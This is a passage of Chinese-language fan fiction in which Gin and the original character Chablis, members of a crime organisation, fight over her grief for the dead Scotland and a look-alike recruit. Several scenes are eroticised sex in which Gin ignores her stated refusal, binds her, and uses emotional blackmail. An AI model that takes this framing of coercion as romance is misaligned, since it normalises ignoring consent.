“呵呵,傻逼。”可以确定了,琴酒的病已经从脑子蔓延到了耳朵,完全没听到我的话。
被抓着衣领塞进车里的状况已经见怪不怪,我发现琴酒似乎格外喜欢这种坐着的姿势,但是对于必须揽着琴酒的脖子攀着他的身体才能稍微稳住平衡的局面,我对跟琴酒有这种类似拥抱的动作天然带着抵触。
琴酒熟练地用皮带把我的手绑在背后,我嘲讽地笑了一声,又来了,鬼知道他怎么就那么喜欢绑着我的手做,不过不会在本能反应的趋势下去拥抱,我对此没什么异议。
我曾经倒是也提出过异议,不过我的反对一般会被琴酒用武力镇压,虽然不是很想承认,但是我不拼命的时候对上琴酒往往输多赢少。
我没有他和苏格兰那样出色的天赋,我有的只有一步不落地想要跟随苏格兰脚步的决心,那为我打破了名为天赋的束缚。
琴酒今天似乎格外喜欢接吻,属实有点恶心,我侧过头避开落下来的吻,他顺势咬了下我的耳垂。
“故意染着别人的烟味找我,你还真是……”
虽然面对琴酒时一向要么恨得牙痒痒要么无语到头,但是今天的无语程度绝对能在这二十年来排前五。
“你神经病吧?!哈、啊……喂你他妈来真的?!!!”
我一如既往地想用头撞碎他的鼻子,这次却被捏着后颈强制止住动作,最终被迫与琴酒额头抵着额头对上视线。
“夏风,如果你敢为了谁习惯烟味……”他没把话说完,但是那副阴恻恻的表情好像已经说明了一切。
我稍微缓了口气,将急促的喘息声压下去,骂道:“你又抽哪门子的风?!之前到底是哪个神经病抽风抓着我一口一口硬要教我抽烟的!!”
“是你主动把我喊过来的。”琴酒无视我的话,抓着我的小腿架在他肩上,他的身体炽热,眸光却仍旧冷着,“无论发生什么你都给我好好受着,这都是你自找的。”
一种掺杂着不安的恐惧浮上心头,我强装镇定地试图把他推开,一如既往地开始骂他:“你他妈疯了?!!”
他没说话,以实际行动回答了我。
“停,不做了,等等我不,呃——”
混乱中,我听到他在我耳边说:“停?什么时候轮得到你来做决定了?”
***
香烟是个好东西,轻而易举地就可以让某个不肯低头的家伙身上染上与他相同的味道。
琴酒将车窗降了个缝隙,指尖夹着的香烟缓慢燃尽,怀里的人已经彻底失去意识,安安静静地靠在他肩上。
也就这个时候,夏布利才会安静地待在他怀里。
做了一半的时候他就反应过来是自己想错了,但别人的烟味不是假的,他也无所谓分辨夏布利究竟是从哪染上的烟味。
他有那么一瞬间甚至怀疑夏布利是不是故意染上别人的烟味然后把他找过来,但他
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很快就推翻了这种猜想,毕竟夏布利不会觉得这种事情就能激怒到他,可能是真有什么别的原因才主动联络他。
至于究竟是什么别的什么原因,也不用猜,无非就是关于苏格兰。
他盯着那张泪痕未干的脸,垂头在那段全然暴露在自己眼前的侧颈留下了一个咬痕。
他以为烟味就已经算一种标记,看来是他太过纵容了。
指尖的香烟已经燃尽,只余下一小截岌岌可危即将垂落的烟灰。
“你怎么就……”
又或许,真正令他迟迟无法彻底斩断的就是这种不明不白的藕断丝连。
二十二年了,苏格兰死后,夏布利理应成为他豢养的一条狗。
***
再醒来时,天已经完全黑了。
已经不在琴酒的车里,而是一间昏暗的卧室。
这里是琴酒的安全屋。
身上已经被清理干净了,只是那些遗留的痕迹需要随着时间才能彻底消失,但那个狗东西往往等不到那时就会重新用新的痕迹覆盖旧的痕迹。
门没关,我看了一眼坐在沙发上保养手枪的琴酒,转身打开一旁的衣柜,准备给自己找身衣服穿穿。
呵呵,托琴酒的福,我今天出门时穿的衣服现在已经穿不了了。
他远远朝我说:“想听点好消息吗?”
我嗤了一声,懒得理会那个狗嘴里吐不出象牙的狗东西,他能说出来什么好消息。
余光中我注意到一闪而过的银色,琴酒放下手枪,转而拿起什么东西不紧不慢地晃了晃,我慢半拍地意识到那是我的手机。
电光火石间,我突然想到了什么,随意扯了件衣服套上,赤脚冲过去把手机夺了回来。
我抵着琴酒的胸口跟他拉开距离,琴酒向后仰了一下,咬牙道:“……把衣服穿好。”
此时不报复更待何时,我锤了他一拳,用了十成十的力道,皮笑肉不笑道:“你装什么装?!”
琴酒什么死出我还不知道吗,演戏演上瘾了怎么不直接下海去当牛郎啊。
我单手操控手机打开通话记录,有一通新人打过来的,我用眼神剐了一眼琴酒,他妈的竟然敢私自接我电话,真是越来越猖狂了!
我原本想直接回拨回去,又突然想到短信,便先打开信箱看了一眼。
看着那段不算长的文字,我的心跳漏了一拍。
我欢呼了一声,就近搂住琴酒的脖子紧紧抱了一下,又抓着他的肩膀乱七八糟地晃了半天。
对上一双毫无波澜的绿眸,寂静无声的几秒后,我才后知后觉地反应过来自己刚刚做了什么蠢事。
我暗骂了一声,准备退开,一只大手按在我的后颈,我的额头抵在琴酒的肩膀,有些硌人,我莫名愣住了。
……这样太奇怪了。
我跟琴酒可不是能像这样拥抱的关系。
不过在有关苏格兰的事面前,那种小事根本不值得我花额外的心思思考。
我一把推开琴酒,兴致冲冲地跳回衣柜前挑选顺眼的衣服。
我要回去找我的新人,现在立刻马上就出发!
这件事太过令人欣喜,连带着琴酒那张死人脸都隐约顺眼起来了。
临出门时,我甚至笑着跟还坐在那里纹丝不动的琴酒打了声招呼,那个没礼貌的家伙没做出任何回应。
呵呵,比我还没素质。
谁管琴酒是在想什么,我兴高采烈地冲回了我的安全屋。
推开门,新人正端端正正地坐在沙发上,我合理怀疑他一直在那里坐着是为了等我回来能够第一眼就看到他的可以调整过角度的完美背影,然后给我呈现他带着些许惊喜和茫然的回眸。
我很吃这套,更何况一个愿意为你费尽心思的人,在你不讨厌他的前提下,那种小心机只会显得分外可爱。
我绕到沙发前,学着苏格兰当年对我说过的那样,对刚刚拿到代号的新人笑着说:“恭喜,新人,以后就要叫你苏格兰了。”
新人露出个笑容:“谢谢,夏布利大人。”
啧,真是的,干嘛在这个时候说敬语。
我说不清新人是故意为之还是无意之举,不过答案不重要。
我一言不发地看着他,向来清楚我最吃哪套的新人从善如流地改口重新说道:“夏布利。”
这就对了嘛。
我忍不住轻声笑起来,还未来得及说出什么勉励的话语,他又说:“好久不见,夏布利。”
……
……
……
……
我要说什么来着?早就准备好的演讲稿上写了什么?等等,操,我的小抄放在哪里了?!
……不重要了。
统统不重要了。
他太懂我想要什么了。
我痛恨那种仿佛能够洞察人心的聪明,也感激他竟然会如此聪明,一眼看穿我究竟是想从他身上得到什么,目标明确地同我完成这场彻头彻尾的利益交换。
后来发生了什么已经记不清了,只记得自己手足无措迟迟不敢抬手触碰面前的人,最终只颤声说了一句:
“好久不见,苏格兰。”
8.八封遗书
我起了个大早,打着哈欠迷迷糊糊地飘进浴室里,冲了个冷水澡。
终于清醒几分,我又打着哈欠飘回卧室换衣服。
琴酒不知道抽哪门子的风,后天的任务订今天早上六点的机票,存心不想让我好过。
不过早一天出发晚一天出发对我来说也没什么区别,苏格兰昨晚动身去北海道执行任务了,他不在,那我待在日本还是美国都一样,反正都见不到苏格兰。
头发还没干,我用毛巾胡乱擦了几下,顶着半干的头发看了眼表确认时间。
我倒是不在意能不能跟琴酒准时汇合,但起了这么一个大早最后却没赶上飞机,那我会觉得这个早晨失去了意义。
扔在沙发上的手机突然响起来,我三两步绕过茶几跑去拿手机,看到上面显示的来电联系人,我脸上的笑容骤然垮下来。
我就说嘛,苏格兰那么体贴的一个人,怎么会大早上给我打电话。
我随手按下接听键,没好气道:“干嘛?!”
“醒了?”
“呵呵,还不是拜你所赐。”
琴酒最近不太正常,发癫的次数格外多,当然,千万不要误会,我不是说琴酒平常是个正常人的意思。
琴酒冷笑了一声,声音带着点电流声但气人的威力不减,我心里的火气嗡一下升腾起来,刚要开口嘲讽,目光一顿,即将脱口而出的声音戛然而止。
“这是……?”
我探身把茶几上的水杯拿起来,杯子下面竟然压了一张便签纸。
我有些愣神,彻底把周围无关紧要的东西忽略,甚至没意识到手里的手机不知何时已经跌落下去,喃喃将那张便签纸上的字念出声:
“我先走了,冰箱里有早餐,吃完再去机场吧。”
我盯着那张薄薄的纸片看了许久,慢了很多拍地起身走向厨房。
我并没有自己做饭的习惯,准确来说,我根本没有要规律吃饭的观念,毕竟以我的成长环境还不至于让我惬意到可以把心思放在每天要吃什么上,活下去才是最要紧的事。
我对食物一向没什么要求,吃不死就行,安全屋的冰箱也往往一半空着一半摆着不同的酒。
组织以酒名为代号,于是酒在尚且痛苦挣扎求生的年龄里像是一种前进的动力,吊着训练营里的所有孩子向上爬,其中自然也包括追赶苏格兰脚步的我,等到我有朝一日真拿到了一个酒名做代号时,酒却又悄然变为了一种诅咒。
我成了酒,酒又成了我拿来麻痹神经的工具,让再次见到苏格兰变得没那么异想天开,偶尔也可以让腰伤附赠的后遗症没那么难以忍受。
但是自从那个比我小了七岁的青年住进来,他十分自然地改变了我一直以来的生活习惯,几乎是理所当然地负责起了这间房子里的日常饮食。
会早起准备早餐,也会时不时地询问我有没有什么想吃的菜,他显而易见地极为擅长料理,厨房里的事情我完全插不上手,每次想过去帮忙就会被他推出来,于是我就总是倚靠着厨房的门框看他忙碌的背影。
那种带着烟火气的场景对我来说很遥远,上一次见是十一年前,所以望着那个背影的时候时不时被陌生又熟悉的烟火气熏到眼眶酸涩大概也是在所难免。
我很想见苏格兰,和以前一样,哪怕上一秒刚刚见过,下一秒我也会生出想念。
这十一年来,我无时无刻不在思念苏格兰。
我把头顶的毛巾扯下来,发丝还在滴水,水珠迅速洇入棉质的领口,只留下一道浅浅的水印。
我按照那张便签纸上的留言走进空无一人的厨房,打开冰箱,在最明显的位置上摆着一份用保鲜膜包起来的三明治,盘子旁边贴了第二张便签纸。
“用微波炉加热一下再吃。”把那句话念出声后,我彻底沉默下来。
我深吸了一口气,不知道自己此刻该摆出什么表情,只是机械性地按照留言把三明治放进微波炉里。
很多年前,苏格兰也是如此,每次出门时都认真地留一张纸条给我。
我和苏格兰逐渐各自在组织中取得一席之地后依旧同住一个屋檐下,但是我们往往有不同的任务要执行,离开训练营后生活质量愈发好起来,能待在一起的时间却越变越少了。
苏格兰的便签纸就像是过分沉寂的安全屋里的一个个彩蛋,我热衷于在空无一人时发现苏格兰留下的简短话语。
我没上过学,读书写字都是苏格兰自学后又逐一教给我的,其实我对那种东西不感兴趣,少年时的我更想把时间花费在变强上,但是苏格兰愿意坐下来慢慢教我,哪怕是再无聊的东西我也会生出无限兴趣。
说到底,我只是喜欢和苏格兰待在一起而已。
我是为了看懂苏格兰的留下的纸条才学会了读写,但我已经十一年没看到过苏格兰的留言了。
苏格兰从未遗漏过任何一次留言,只要我回到家后没见到苏格兰,那就一定能在某个角落看到苏格兰留下的便签纸,所以这十一年来我才坚信着苏格兰的遗书一定真实存在。
它未必真在琴酒手里,但是它一定真实存在着。
而我活着的意义就是找到苏格兰留下的那封遗书。
如果那封遗书并不存在,如果苏格兰真的没有为我留下只言片语,那我分不清自己究竟是更希望死在二十二年前的酷暑还是十一年前的寒冬。
一阵敲门声突兀响起,我骤然回过神。
我把那两张便签纸小心收好,这才走向玄关,透过猫眼,我看到了一个我此时绝对不想见但要不了多久也会见到的家伙。
我原本并不打算给那个不请自来的家伙开门,但是门铃声每隔几秒便响起一次,忍无可忍之下,我还是烦躁地打开了门。
“干嘛?!这是你能来的地方吗你就来?!”
琴酒一如既往地穿着那身黑色的风衣,目光像是探照灯一样在我身后的安全屋里扫视着,语气不急不缓:“防止有人临阵脱逃。”
“呵呵。”
我很想骂骂那个神经病,又怕把他给骂爽了,最终只是咬了一口手里的三明治,把琴酒晾在了玄关。
苏格兰做的三明治很好吃,这本该是个好心情的时刻,我不想在这时候跟琴酒吵架或者打架,再者为了这个早晨仍旧存在意义,我也的确该出发了。
我不像琴酒那么难伺候,穿什么衣服都有讲究,套个外套就能直接出门。
拿起沙发上的手机时我才发现,那通电话竟然还没挂断。
我瞥了眼琴酒,用力按下挂断键,我怀疑琴酒是故意不挂断电话好消耗我手机的电量,不然没有别的解释。
“走吧。”
琴酒的目光似乎有一瞬偏移在了我的头发上,我不明所以,但琴酒转身的速度很快,我也完全不想让他在我的安全屋门口再多待一秒钟,迅速走出玄关。
琴酒一天天出任务比去投胎还赶,真不知道那家伙怎么就这么喜欢做任务。
我想了想,又觉得琴酒爱做任务也挺好的,这样一来直接死在任务里的概率高一些,这是好事。
跟我猜的一样,楼下果然停着一辆熟悉的车。
我打开车门正准备坐进去,余光中突然注意到坐在驾驶座的司机,微微皱眉。
我直起身,转头问:“这破车跟伏特加解绑了?”
琴酒单手扣住我的后颈,熟练地想把我直接塞进车里,淡定道:“伏特加有其他任务。”
我梗着脖子跟琴酒对视了几秒,“切”了一声,把他的手扒掉,这才坐进车里。
时间快来不及了,为了保证这个早晨还有意义,我一定要赶上飞机。
我的安全屋距离机场不算太近,不过现在出发时间也算是刚刚好,我懒得搭理琴酒,靠着车窗闭目养神。
什么时候睡过去的已经记不清了,但是醒过来的时候我莫名其妙靠在琴酒的肩上,一睁眼对上一双绿瞳。
我立刻弹跳起来,身体紧贴车门,骂了一声:“你有病啊?!”
“是你自己靠过来的。”琴酒慢条斯理地理了理袖口,“下车。”
打开车门,一阵微风吹过,我抬头望了望天,后知后觉地反应过来头发已经差不多干了。
琴酒径直从我身旁路过,我转头看了一眼那辆熟悉的古董车,还是觉得有些不对劲,但看到琴酒的身影已经走出很远,我还是皱着眉先追了上去。
这个在美国执行的任务据我估计大概要耗时将近一周,不过考虑到还有琴酒参与,要是能好好打个配合,差不多三天时间就够了。
抛开其他恩怨不谈,在任务相性上我跟琴酒还算搭配,毕竟从小就在一起训练,就算再两看相厌,彼此之间多少也会染上点默契。
呵呵,但是我抛不开。
我跟琴酒一辈子都没法和睦相处,琴酒大概也是这么想的。两个人里谁稍微好过一些另一个就浑身难受,所以无聊的时候总是互相给对方使绊子,哪怕弄不死也要折磨一下,这是我和琴酒在十几岁时常有的相处模式。
在车上睡了一觉,飞机上就没那么困了,单手拄着下巴望着窗外发呆。
我喜欢天空,注视蓝天让我觉得自己正在和苏格兰对视,那种蓝色仿佛能够包容我的一切,无论好坏。
苏格兰就是我的天空,只要抬起头就一定能看到他,为了追随苏格兰也为了离苏格兰更近,我跳出名为天赋的约束努力成为了游云,仿佛这样就能永远和苏格兰在一起。
“琴酒。”我没转头,依然定定地望着那片蓝天,平静道:“我会配合你完成这次任务,有什么恩怨等回日本再结算也不迟,速战速决吧。”
“理由?”
“你不想跟我待在一起,我也不想跟你待在一起,在这点上我们算是统一战线,而且我要回去见苏格兰。”
琴酒阴阳怪气地笑了一声,照我理解,那姑且是答应了的意思。
我懒得跟他吵架,继续望着天空出神。
我想见苏格兰,也期待每一次推开门后能亲眼看到已经回到安全屋的苏格兰,过去十一年里只在梦中出现的场景,如今已然化为现实。
半晌,我喃喃道:“连字迹都很像……”
这让我没办法对那个人不管不顾。
说到底,一场各取所需的利益交换,我得到了我想要的,他也得到了他想要的,皆大欢喜。
就像苏格兰曾经对我说过的那样,有的时候,最虚假的东西看起来才最真实。
***
到达美国的落脚点,确认过实际情况后,我开始认真思考怎么才能把任务要用的时间再压缩一下。
我对如何减少耗时这种事很擅长,因为早年我总是归心似箭地想要冲回去见苏格兰,一秒钟都不想耽搁,这也导致了后来有什么紧急任务和突发情况,组织会优先派我去解决。
对回到苏格兰身边的迫切也导致了我那时候很难和其他人合作执行任务,我嫌他们速度太慢,他们嫌我太过冒险,搞得有时候任务人数一增加,反而起了负面效果。
想到这里,我“啧”了一声,皱着眉转头问:“你最近都没去训练场,不会拖我后腿吧?”
正在脱外套的琴酒动作一顿,侧目看了我一眼。
“我警告你,你敢耽误我回去见苏格兰我跟你没完!”
琴酒把脱下来的风衣挂好,整理好他那些租来的衣服以后才真正把注意力挪过来,他什么都没说,只是扯了下嘴角。
没人比我更懂那张死人脸上的表情,那他妈绝对是嘲讽。
我当即站起来,把手里的东西往旁边一摔:“哈?!”
琴酒嗤笑一声:“蠢货。”
我还在思考直接开骂会不会真把那个狗东西骂爽了的时候,琴酒却突然自顾自地换了个话题,仿佛已经想说那句话很久了,就等着这会儿说出来。
“你养着的那个苏格兰最好死前能把那份遗书也复刻出来。”
我身体一僵,似乎连头脑都炸响一声,席卷而逃的理智骤然归位,迅速覆盖怒火,只余下了一缕盘旋而上的青烟。
苏格兰的遗书,琴酒十一年来精准拿捏我的利器,我不信琴酒真拿到了那份遗书,但是我不敢赌。
我做不到拿苏格兰去赌,哪怕只是亿万分之一的可能性,我也只能相信琴酒手里真的有那份遗书。
气势上已经低了一大截,但为了不落下风,我还是强撑着再度开口,试图把主动权抢回来:
“呵呵,你别以为——”
“越假的东西看起来就越真。”
琴酒好整以暇地打断道:“但某些人要是假戏真做,那可就是另一回事了。”
我知道今天这场没有硝烟的对决我已经彻底没了胜算。
苏格兰也说过差不多的话,只是语境不同,一个是为了教导告诫,一个是为了击溃最后的防线。
苏格兰不可逾越,就算方方面面再像,如今跟在我身边的苏格兰也永远无法成为我怀念的苏格兰。
我不再开口。
如果苏格兰此刻站在我身旁,那我不会有任何迟疑,哪怕只是形似也足够让如今的我不顾一切,更
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何况现在的苏格兰已经不仅仅是外表相像,连内里也足以以假乱真。
但现在他偏偏不在我身边,跟我对峙的那个人又偏偏是琴酒。
除我以外,组织里只有琴酒还记得当年的苏格兰,也只有琴酒觉得轻飘飘的有关苏格兰的一句话就能拿捏住我。
在和琴酒的对决中落入下方让我气愤且恶心,但琴酒承认了我对苏格兰的爱,他坚信苏格兰在我心中永远不可逾越,所以才会用其他人看起来虚无缥缈的真心拿捏我整整十一年,并且十一年来对此乐此不疲。
琴酒不知何时已经揽住了我的腰,他的手指很灵活,单手解开了我衬衫最上面的纽扣,却没继续动作,而是凑近我耳边不紧不慢地问:
“要继续吗?这次可以由你来做决定。”
“……”
对视半晌,我狼狈地率先别开了视线,咬牙道:“要啃就啃,少那么多废话,狗不会说话!”
“哦?”琴酒笑了一声,意味深长地说:“狗究竟会不会叫,很快就能知道了。”
***
直到两天后,任务完成得七七八八了,我才在闲暇之余后知后觉地察觉到一点不对劲。
这几天苏格兰竟然一次都没联系过我,这不科学。
哪怕解释成有时差怕打扰到我,那也不该连一条短信都没发过来过。
况且以那个年轻人的体贴,自己熬个夜或者起个早给我打通电话,那也是再寻常不过的事情。
拿到了代号就觉得我没用了?那未免不太符合我对那个年轻人的认知。
我特意起了个早,打着哈切懒懒散散地倚在客厅的沙发上,估摸着北海道的那个任务怎么也该结束了,决定打通电话慰问一下。
他起得总是很早,仿佛只要一丁点的睡眠就足够支持身体的动力,防止把那不足四小时的睡眠时间打乱,我特意找了个他已经睡醒的时候拨过去。
过了好一会儿,直到电话即将自动挂断,这通电话才终于被接听。
手机里传来一道混杂着不屑和得意的声音:“夏布利。”
那道声音不算熟悉,但也足以我瞬息判断出说话的人究竟是谁,我的表情瞬间冷下来:“朗姆?!!”
“我一直以为你是个聪明人……呵,可惜这么好的新人了,夏布利,你啊大概是天生就克代号是苏格兰的人吧。”
“你他妈——”
没再给我说话的机会,朗姆直接切断了电话。
我立刻回拨过去,但苏格兰的手机已经关机了。
“操!!”
我抬手想把手机摔出去,又生生克制住这种冲动。我低头做了两次深呼吸,试图让脑子冷静下来,效果甚微但聊胜于无,至少比没有强。
现在可不是发火的时间。
我大半年没离开过日本了,朗姆一定是算准了我去美国执行任务的时候对苏格兰下手。
至于原因,太过简单,我配合琴酒阴了朗姆一把,朗姆对苏格兰下手的理由不外如此。
我知道朗姆查清楚自己是怎么栽的跟头以后一定会报复回来,但我没料到他会拿苏格兰开刀。
我分辨不清楚朗姆是觉得直接对彼此动手太跌面子所以用手下开刀最好,还是觉得苏格兰对我意义非凡动了苏格兰才能真戳到我的痛处,但显而易见,无论是哪一种,他成功了。
他成功激怒我了,也成功戳中了我的痛处。
我在心里快速计算着,如果以最快的速度回到日本需要多少时间,摸清朗姆的计划找到苏格兰又需要多少时间,算到最后,我脑子里只剩下了最后一个关键:以朗姆的手段,如果真下死手,苏格兰绝对等不了那么久。
朗姆八成一直在等我这通电话,等我什么时候发现了他的小动作,他报复我的计划才能继续推进下去。
远水救不了近火,得找个在日本的人帮我拖住朗姆。
我打开通讯录,把联系人从头翻到尾,试图从中找出一个能在日本那边帮我一把的家伙。
我和组织里大部分人都关系平平,早年我一直跟着苏格兰,从不把其他人放在眼里,那些训练营出身的人如今也已经死得差不多了,至于利用其他渠道拿到代号的组织成员,酒二代自然不必多说,我见一个烦一个,而被从外吸纳进组织的那些我也基本没有牵扯。
我并不适合与人合作执行任务,我也对维持人际关系和培养自己的势力没有任何兴趣,我一直都觉得我绝对不会有有求于人的一天,让我低声下气地去乞求别人,那还不如让我去死。
早二十年前我就认定,求人不如求己,只有自己拿到的才是真正属于自己的东西。
但那是苏格兰,苏格兰永远是我唯一的例外。
事关苏格兰,我做不到拿苏格兰去赌。
朗姆未必真会把苏格兰怎么样,没有正当理由,就算是朗姆随便动了其他代号成员,那更上面的人也会问责,但摆在面前的事实就是,现在苏格兰大概率在朗姆手里。
就像我不能赌遗书不在琴酒手里一样,我也不能赌朗姆不会真对苏格兰做什么。
我把那些电话号码前前后后翻了两遍,最终不得不承认,这时候竟然只有那一个人有能力掺合进来趟这次浑水。
既然已经有了方案,那就不要考虑无关紧要的事,那些可以舍弃的东西也无需犹豫,迟早都要丢掉,那不如尽早下手。
就像是仿佛已经料到了什么,琴酒住着的那间卧室的门突然被打开了。
前一天晚上我还被拉进了那个房间,这个远在美国的落脚点我也不是第一次来,房间的隔音中规中矩,有什么风吹草动整个房子都能立刻察觉,况且警觉如琴酒,他一定已经听到了刚刚的动静。
真难得,那个狗嘴里吐不出象牙的家伙竟然没直接开口嘲讽,不然我真有可能绷不住表情。
我能看穿新人对我的费心讨好,那自然是因为我自己对这方面颇有研究,为了让苏格兰高兴,我做什么都是应该的。
但无论如何我都想不到,有一天我竟然会把这种经验放在琴酒身上。
我讨厌琴酒,我讨厌那个家伙足足二十二年了,也正因为足够厌恶,所以才足够了解。
最了解你的人往往不是朋友,而是敌人——针锋相对二十年,琴酒能捏住我的软肋,我总不至于无可救药到只能任人摆布。
我看着琴酒,抿了下唇,低声道:“……黑泽。”
垂眸间隙,逆光投在地板上的光影微晃变幻,余光里,我看到原本好整以暇地倚着门框看笑话的琴酒站直了几分。
9.九封遗书
“帮你?”
琴酒没看站在茶几旁的人,径直与其错过,坐下后才继续说道:“凭什么?”
他看到了夏布利刹那间攥紧的双拳,于是心情愉悦地往沙发里靠了靠。
夏布利仍站在那里,没转身也没抬头,眸子半掩在略长的刘海下看不清楚神色,但能轻易探查出精神上的紧绷,仿佛下一秒整个人就会彻底崩裂。
琴酒欣赏着那副画面,也光明正大地审视着画面中唯一的主角,夏布利展露出的每一个小动作都与他预想中完全一致,这种熟悉的一切尽在掌握的感觉一如既往地让他心生愉快,于是连带着这个本该无趣的清晨也变得有趣起来。
他了解夏布利,清楚夏布利的一举一动代表着什么含义,也理所当然地能够预判出夏布利的下一个动作。
即使再怎么水火不容,二十二年也足以看透一个蠢货的全部伪装。
如他所想,夏布利在那里定定地站了十几秒后,什么都没说,转身大步朝外走去,俨然一副准备离开的模样。
直到开门的声音传来,琴酒才不紧不慢地开口:“来得及吗?”
于是一只脚刚刚迈出门槛的夏布利又怒冲冲地折返回来。
“呵。”琴酒笑了一声,毫不掩饰自己的嘲弄。
按照经验,夏布利这会儿早就该忍不住开骂了,但在有关苏格兰的事情上,夏布利仿佛天生就学会了忍耐。
苏格兰当年没怎么调教过夏布利,但跟时刻约束着夏布利也没什么区别,毕竟夏布利总是亦步亦趋地跟着苏格兰,目不转睛地盯着苏格兰的一举一动,十年下来,身上难免侵染上苏格兰的影子。
也正因此那家伙才会连咒骂的话都说不出超过五句,而那种骂声听得太多,又来来回回只有那几个词,他已经能熟练地将其翻译成真正的含义。
客厅里的脚步声止住,夏布利站在了他身后。
琴酒正思索着夏布利会不会直接动手,一双手臂从背后伸出来,堪称轻柔地搂住了他的脖子。
琴酒微怔,身体没动,垂眸看了眼那截手臂,率先注意到的却是一道牙印。
夏布利把头埋在他颈窝,耳边再次响起那句刻意放低姿态的话:“帮我一次。”
琴酒没说话,姑且承认这算是意料之外的举动。
这是他从未见过的夏布利。
他只料到夏布利一定会为了苏格兰退让,即使那是个冒牌货也同样如此,但他没料到夏布利能做到这种程度,以至于脖颈被臂弯揽住的时候,他的第一反应是夏布利试图勒死他。
再没有额外恳求的话语,这也完全算不上乞求的姿态,但对夏布利来说已经临近极限。
琴酒想起二十二年前站在苏格兰身后的孩子,仰着头看向他,彼时身上还未长满尖刺。
虽然情景不同,但夏布利如今也算是站在了他身后。
这就是苏格兰曾经独自享有的珍宝,向无耻的人类主动打开壳的河蚌,露出其中圆润饱满的珍珠。
他一直认为自己想看到的是夏布利梗着脖子不肯低头的模样,他也一贯热衷于欣赏那种无论如何暴虐都无法摧毁的偏执,但在这一刻,他竟然无端觉得帮这一次又如何。
或许是他长久的沉默点燃了不安,夏布利咬牙低声说:“求…求你!”
“哦?”
目光落在挂在墙上的钟表的秒针上,看着时间如何一分一秒流逝,语气依然漫不经心:“你说什么?我没听清。”
他感受到搂着自己的手臂收紧了几分,夏布利很有可能正在纠结该是咬断他的大动脉还是趁机直接勒死他,但无论心里怎么想,夏布利终归会为苏格兰选择退步。
果然,身后的人像是破罐子破摔一样大声说:“帮我,求你!”
心情并不如预想中美妙,琴酒嗤笑一声:“我凭什么帮你?”
几秒后,搂住脖子的手逐渐松开,脖颈处还未完全滋生的暖意溜走,脚步声再次响起,而后是重重的摔门声传来。
琴酒没回头,起身往卧室的方向走,随手拿起放在床头柜上的手机。
他拨通电话,目光落向窗外的暖阳,随口道:“行动吧。”
美国这边的任务已经接近收尾,原本两天后才能解决,但夏布利的焦躁不安加快了任务完成的速度,他一贯认为某些家伙无法与夏布利达成配合是因为无能,以至于跟不上夏布利的节奏。
这么算来时间刚刚好,他也该动身回日本了。
琴酒正打着电话准备出门,夏布利竟然又回来了。
一个人影噌的一下窜到他面前,还没来得及彻底转身回避,下一秒就被掐着脖子强行按倒。
两个人一起摔在床上,床垫晃动,近在咫尺的红瞳仿若正在燃烧的火焰,于是琴酒暂缓了扭转局势的动作,想看看夏布利还准备做什么。
每当夏布利出现在面前时,他一向会率先把注意力落在那双眼睛上,盛满怒火时那抹红色最为耀眼,所以隔三差五就想逗弄一番,以便看到那张脸上露出恼怒的神情。
夏布利撑着手肘直起身,但掐着他脖子的手指上附着的力道依旧不减,怒道:
“你他妈还跟我装上了?!别以为我不知道那里有你的手笔!!”
呼吸略有困难,不过也不是很难忍受,琴酒似笑非笑地扯了下嘴角。
能有他什么手笔?
无非就是给朗姆的小动作遮掩几分,又顺手订了提前一天离开日本的机票,不至于朗姆的计划早早被沉浸在苏格兰的甜蜜陷阱里的某人察觉到罢了。
过分翻涌的情绪让压在身上的那人胸膛剧烈起伏着,琴酒想起了组织最近研发的一类破坏力极强但一旦启动就无法终止且无法预测具体爆炸时间的炸弹,不过那种炸弹过于不稳定,估计不会正式投入使用了。
他略走神,夏布利不知道从哪突然翻出来一团细绳,一股脑砸在他脸上,又捡起绳子咬着一端迅速往自己手腕上打了个结。
“行了吗?!够了吗?!不是喜欢绑着手吗?!”
琴酒神色微凝,目光落在将手腕绑在一起的那截红绳,随即无声地骂了一句。
夏布利咬着后槽牙:“你他妈赶紧把苏格兰给我——”
“大……大哥?”落在床缝里的手机突然传出一道小心翼翼的声音,打断了两人的僵持。
“那、那那那……苏格兰还用捞出来吗?我们已经到地方了……”
琴酒好整以暇地看着骑在他腰间的人表情一僵。
夏布利的声音骤然降了一个度,假装无事发生一般试图起身,“哦,那你们继续聊,我赶时间我就先走了……”
琴酒轻松拉住了绑着夏布利的那条绳子,也不知道夏布利是从哪找出来这么一条过长的绳子,不过看起来质量倒是不错。
“我记得刚刚有人说,我喜欢绑着手?”
“我就说说!!”
琴酒又低头看了看那条绳子,在手掌缠了两圈握紧,勾了下唇:“绑点其他地方试试怎么样?”
“???不怎么样!死变态!!你他妈给我滚远点!!”
***
太阳逐渐西沉,琴酒坐在床边抽烟,在他身后,一个人缩在被子里,似乎已经沉沉睡去。
他知道夏布利并未睡着,哪怕已经做到神志不清的时候也要咬着舌尖强行让自己清醒过来,无非是在等苏格兰的消息。
闭目养神恢复精力,这是早年训练营里最常见不过的手法。
夏布利信他能把苏格兰捞出来,也信他会把苏格兰捞出来,但是没什么东西能比得上苏格兰本身,就算是个假的也一样,所以才强撑着等一通来自日本的电话。
朗姆和夏布利在明面上彻底处于对立对他来说是件好事,他顺水推舟地帮了朗姆一把,也提前规划好了后续。
早在离开日本前他就安排了伏特加待命,随时准备把苏格兰捞出来,原本他觉得等真出了点问题后再动手也不迟,缺胳膊少腿哪里残废了都差不太多,但一个残缺的苏格兰显然更容易让夏布利沉溺其中无法自拔,于是暂且作罢。
不过最糟糕的情况还是苏格兰一不小心直接死在了朗姆手里,夏布利和朗姆之间的恩怨爆发是次要,苏格兰之死一旦重演,那夏布利大概也活不了多久。
逗逗就算了,目的已经达到,也没必要把困兽逼得太紧。
琴酒熟练地点燃香烟,忽然瞥到结成一团散在地板上的红色细绳。
他动作微顿,用余光看了一眼身后的人。
被绳子束缚住时那副红着眼眶呜咽的模样,让他久违地想起了十一年前那个蜷缩在床上对他怒目而视的身影。
被某个人的死折磨得不成样子的夏布利,如一抹即将燃尽的幽幽烛火。
苏格兰死了十一年了,夏布利和苏格兰也只认识十一年,而他们已经纠缠了整整二十二年。
琴酒古怪地笑了一声:“知道为什么我让你去巡视训练营吗?”
夏布利仍旧悄无声息。
琴酒对夏布利的反应毫不在意,偏执如夏布利,听到与否并不能改变什么,更不会存在什么警醒。
苏格兰的死是一记绝杀,而把一个足以以假乱真的家伙推到夏布利面前,这是走出名为苏格兰的那座大山的第一步。
一切都在他掌控之中。
琴酒掐断香烟,淡然道:“相像的东西,距离越近才看得越清楚有多假。”
***
诸伏景光是在事件发生后的第二天下午重新见到夏布利的。
